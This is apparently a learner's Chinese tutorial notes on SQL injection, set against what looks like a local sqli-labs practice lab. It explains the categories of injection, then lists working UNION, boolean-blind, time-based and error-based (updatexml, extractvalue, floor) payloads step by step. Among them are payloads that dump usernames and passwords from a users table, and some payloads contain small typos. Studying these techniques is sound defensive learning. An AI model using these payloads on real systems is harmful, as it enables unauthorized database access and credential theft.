3.7SQL注入
3.7.1基础知识
1.SQL注入过程
在正常查询请求上附加SQL语句请求至服务器——web服务器解析并传给数据库处理——数据库并不区分查询和附加查询——将查询结果返回给服务器——web服务器解析并将结果显示给用户。
2.SQL注入危害:
- 获取敏感数据
- 绕过登录验证
- 文件系统操作
- 注册表操作
- 执行系统命令
3.SQL注入分类
按照参数类型分类
1.数字型
and逻辑测试
?id=1 and 1=1
? id=1 and 1=2
单引号测试
'''''
2.字符型
id=1' id = 1''
3.搜索型
1 and 1=1
SQL查询语句为:select * from users where id like '%1 and 1=1%'
这个输入显然会报错误。
1%'1 and '%1%'' = '%1
SQL查询语句:select * from users where name like '%tom%' and
'%1%' = '%1%'
这里我们用 '% 来闭合 %' ,如果存在漏洞,返回正常信息。
根据数据库返回结果分类
1. 回显注入
在注入点的当前页面中获取返回结果。
常用SQL注入测试代码:
1 or 1=1 1' or '1=1 1' or '1=1
代码原理:利用逻辑运算符or 的运算原理,只要其中一个条件满足为真,则为真,而1=1恒等式恒为真,因此如果上面三个代码输入之后页面显示结果都为正常,则我们可以判断此页面存在SQL注入漏洞
2. 报错注入
程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以通过构造一些报错语句从数据库返回并显示的错误信息中获取想要的结果。
在 SQLServer 中通常错误的查询会返回一些错误信息,在 mysql 中正常情况下是没有错误信息返回的,但可以通过其他的方式进行错误信息的提取。
3. 盲注
由于程序后端限制数据库返回错误信息,因此查询错误或没有结果时是没有信息返回的,可以通过数据库的查询逻辑和延时函数来对注入的结果进行判断。
根据注入表现形式的不同,盲注又分为 Based boolean 和 Based time 两种类型。
Based boolean:基于布尔的盲注,其主要表现特征有:
- 一是无报错信息返回;
- 二是无论输入是正确还是错误,都只会显示两种情况(1 或 0)(ture 或 false);
- 三是在输入正确时,可通过输入and 1=1、and 1=2判断。
Based time:基于Boolean的盲注可以在页面上看到正确或错误的回显,但是基于time的盲注是看不到的。
判断:通过"时间"条件进行特定的输入,判断后台执行SQL语句的时间来判断是否存在盲注。
m' and if ((substr((select database()),1,1))='a',sleep(5),null)
按注入点位置分类
HTTP 定义了与服务器交互的不同方法,其中最基本的方法就是 GET 和 POST 。
- GET 方式在客户端通过 URL 提交数据,数据在 URL 中可以看到;
- POST 方式,数据放置在 Body 内提交,数据在 URL 中看不到。
1. GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。
2. POST 注入
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
3. Cookie 注入
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
4. Header 注入
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。
m' and if ((substr((select database()),1,1))='a',sleep(5),null) #
http://test.com/news.php?id=1Cookie 注入其实应该也是算 Header 注入的一种形式。因为在 HTTP 请求的时候, Cookie 是头部的一个字段。
3.7.2SQL注入利用
一.GET显错注入
1.get显错注入流程
limit 0,1 从你表中的第一个数据开始,只读取一个
order by 排序,判断字段数量,也就是表的列数
union select 联合查询,连接前面语句,起着合并查询的作用
group_concat 合并多行数据到一行
version() 当前数据库版本
database() 当前数据库
@@datadir 数据库数据路径
@@version_compile_os 操作系统版本
判断: id = 1' and 1 = 1 --+ id = -1 ' or 1 = 1 --+
获取字段数 order by x
id = 1' order by 3 --+
获取显示位 union select 1,2,3,4 ...
获取数据库信息 version(),user(),@@datadir
获取当前数据库 database(),schema()
获取所有数据库
获取数据库表
获取所有字段
获取数据
2.注入步骤
判断:id=1' and 1=1 --+ id=-1' or 1=1 --+
order by语句判断字段数量:
id=1' order by 3 --+
联合查询获取显示位:
id=-1' union select 1,2,3 --+
获取当前数据库:
id=-1' union select 1,(select database()),3 --+
获取所有数据库:
id=-1' union select 1,group_concat(schema_name),3 from
information_schema.schemata --+
获取当前数据库表名:
id=-1' union select 1,group_concat(table_name),3 from
information_schema.tables where table_schema='security' --+
http://192.168.206.133:8081/Less-1/?id=-1%27%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()--+
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema='security'--+
获取users表所有字段:
id=-1' union select 1,group_concat(column_name),3 from
information_schema.columns where table_name='users‘ --+
获取security.users表所有字段
id=-1' union select 1,group_concat(column_name),3 from
information_schema.columns where table_name='users' and
table_schema='security'--+
获取security.users表所有字段内容:
id=-1' union select 1,username,password from users --+
id=-1' union select 1,group_concat(username),group_concat(password) from users --+
二.GET盲注
1.基本流程
01、获取当前数据库长度
02、获取当前数据库名
03、获取当前数据库表总数
04、获取当前数据库表的长度
05、获取当前数据库表名
06、获取当前数据库表的字段总数
07、获取当前数据库表的字段第N个长度
08、获取当前数据库表的字段第N个字段名
09、获取当前数据库表的字段内容长度
10、获取当前数据库表的字段内容
2.前置知识
mid()、substr():截取字符串
ascii()、ord():返回字段的ascll码值
select mid(database(),1,1))
截取结果中的值,从第一个字符开始,截取1个字符。
select substr(database(),1,1)
截取结果中的值,从第一个字符开始,截取1个字符。
select ascii(substr(database(),1,1));
将截取出来的字符,转换成ASCII码,以便于后面做运算。
select ascii(substr(database(),1,1))>97;
结果为1或者0,也就是true or false
select ord('hello');
返回字符串第一个字符的 ASCII 值。
left(arg,length):
返回arg最左边的length个字符串
right(arg,length):
返回arg最右边的length个字符串
select length()
返回文本字段中值的长度。
select count()
返回匹配指定条件的行数。
3.注入步骤
判断:id=1' and 1=1 --+ id=1' and 1=2 --+
获取当前数据库长度:
id=1' and length(database())=8 --+
获取当前数据库版本:
id=1' and left(version(),6)='5.5.53' --+
获取当前数据库名:
当前数据库第一个字符: id=1' and ORD(mid(database(),1,1))=115 --+
s
( ascii(substr(database(),1,1))=115 )
( left(database(),1)=‘s’ )
当前数据库第二个字符: id=1' and ORD(mid(database(),2,1))=101 --+
e
( ascii(substr(database(),2,1))=115 )
( left(database(),2)=‘se’ )
……
*bp爆破,设置两个变量
得到当前数据库名:security
获取当前数据库表总数:
id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
获取当前数据库表长度:
第一个数据库表长度:
id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+
第二个数据库表长度:
id=1' and (select length(table_name) from
information_schema.tables where table_schema=database()
limit 1,1)=8 --+
……
得到四个数据库表得长度分别为:6,8,7,5
获取当前数据库第一个表的第一个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
( id=1’ and left((select table_name from
information_schema.tables where table_schema=database() limit
0,1),1)=‘e’ --+ )
获取当前数据库第一个表的第二个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109 --+
( id=1’ and left((select table_name from
information_schema.tables where table_schema=database() limit
0,1),2)=‘em’ --+ )
……
获取当前数据库第二个表的第一个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114 --+
获取当前数据库第二个表的第二个字符:
id=1’ and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=114 --+
……
得到所有表名:emails,referers,uagents,users
获取第一个表得字段总数:
id=1’ and (select count(column_name) from information_schema.cloumns where table_name=‘emails’ )=2 --+
获取第二个表得字段总数:
id=1’ and (select count(column_name) from information_schema.cloumns where table_name=‘referers’ )=3 --
+
……
得到四个数据表中字段数分别为:2,3,0,3
获取第一个表的第一个字段名:id
id=1’ and ascii(mid(select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=105 --+
id=1’ and asci(mid(select column_name from information_schema.columns where table_name=‘emails’ limit 0,1),1,1))=100 --+
……依次类推,可得到所有表的所有字段
获取emails表字段内容长度:
concat 拼接内容为一个字符串
id=1' and (select length(concat(id,"-",email_id)) from emails limit 0,1)=18 --+
id=1' and (select length(concat(id,"-",email_id)) from emails limit 1,1)=18 --+
获取emails表第一列字段内容:
id=1' and ascii(mid((select concat(id,"-",email_id) from emails limit 0,1),1,1))=49 --+
……
获取emails表第二列字段内容:
id=1' and ascii(mid((select concat(id,"-",email_id) from emails limit 1,1),1,1))=50 --+
……
三、报错注入
1.报错注入原理
通过函数报错获取信息: 使用一些指定的函数来制造报错信息,从而获取报错信息中特定的信息
前提: 后台没有屏蔽数据库报错信息,发生错误时会输出错误信息在前端页面
常用的报错函数: updatexml()、extractvalue()、floor 使用函数报错获取信息: select、insert、update、delete
- updatexml()函数、extractvalue()函数
介绍:是mysql对xml文档数据进行查询和修改的XPATH函数
作用:改变(查找并替换)xml文档中符合条件的节点的值
语法:
updatexml(xml_document,xpath_string,new_value)
extractvalue(xml_document,xpath_string)
xml_document:string格式,xml文档对象的名称
xpath_string:xpath格式的字符串
new_value:string格式,替换查找到的符合条件的值
Xpath定位必须有效,否则会有错误
Select获取信息
updatexml()函数:
select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
0x7e:~的ascii码
select * from users where id=1 and (updatexml(1,concat(0x7e,
(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1));
extractvalue()函数:
select * from users where id=1 and
(extractvalue(1,concat(0x7e,(select user()))));
- floor()函数————没学会
mysql用于取整数的函数
floor报错函数,以下三个缺一不可
rand():结果不可以作为order by、group by的条件字段
count(*):计算所有行数,不忽略空值(null)
group by:根据字段分组
例子:
select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
floor报错产生的条件: (自定义数据库的一张表)
select count(*) ,floor(rand(0)*2)x from security.users group by x;
x是floor(rand(0)*2)的别名
报错结果entry后面的值1是根据mysql报错原理决定
报错位置是在floor(rand(0)*2)
思路:
在报错位置处,用concat()拼接我们想要的语句,产生报错即可输出我们想要的结果。
过程分析:
首先我们来看下这个sql查询语句:
select 'a',concat(1,floor(rand(0)*2))x from security.users
group by x;
加上查询数据库的语句:
select 'a',concat(database(),floor(rand(0)*2))x from security.users group by x;
select count(*),concat(database(),floor(rand(0)*2))x from security.users group by x;
select count(*),concat(database(),floor(rand(0)*2))x from information_schema.schemata group by x;
Operand should contain 1 column(s)报错
因为这里select语句构建的是一个结果表,而and比较是需要一个布尔值,0或非零的值。
因此我们可以嵌套一个基于前面结果表的一个select查询语句,而这个select的值是非零数字:
select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.schemata group by x)a;